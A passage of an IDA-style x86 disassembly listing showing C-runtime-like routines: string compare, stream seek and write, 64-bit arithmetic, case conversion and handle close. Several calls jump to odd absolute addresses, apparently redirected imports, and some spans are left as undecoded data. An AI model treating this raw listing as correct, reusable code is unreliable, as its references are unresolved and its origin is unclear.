[ebp+var_1E] cmp ax, word_4DB98A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB988 jnz short loc_41D0E6 mov eax, dword_4DB980 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2880000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB988 movsd movsd movsd movsd pop edi mov dword_4DB980, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB9DC cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB928, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2680C1Dh cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 268082Fh push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB928, 0Dh mov dword_4DB92C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB9E4 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB9E4 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43CBB4, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C9A8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43CBB4, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C9A8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB9E4, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43CBB4, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C9A8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB9E4 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB9E4, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB9F4 call esi test eax, eax jnz loc_41D92D call near ptr 268082Fh nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB928, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C9A8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB9F4 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB9E4, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB9F4 nop call near ptr 2840000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 44h dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 0A1642E1Ah, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 3F47E8E8h, 33900248h, 89D48AD2h dd 4DB94015h, 81C88B00h, 0FFE1h, 3C0D8900h, 0C1004DB9h dd 0CA0308E1h, 0B9380D89h, 0E8C1004Dh, 0B934A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 483EE4E8h, 0CFCCA302h, 19E8004Dh dd 0A3000058h, 4DB998h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024826h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 331BE856h, 50900226h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB9A0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A970 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB9A0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DCD80 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCC80h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 2660843h test eax, eax jnz short loc_41DAEB nop call near ptr 268082Fh mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB92C, 0 mov dword_4DB928, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop 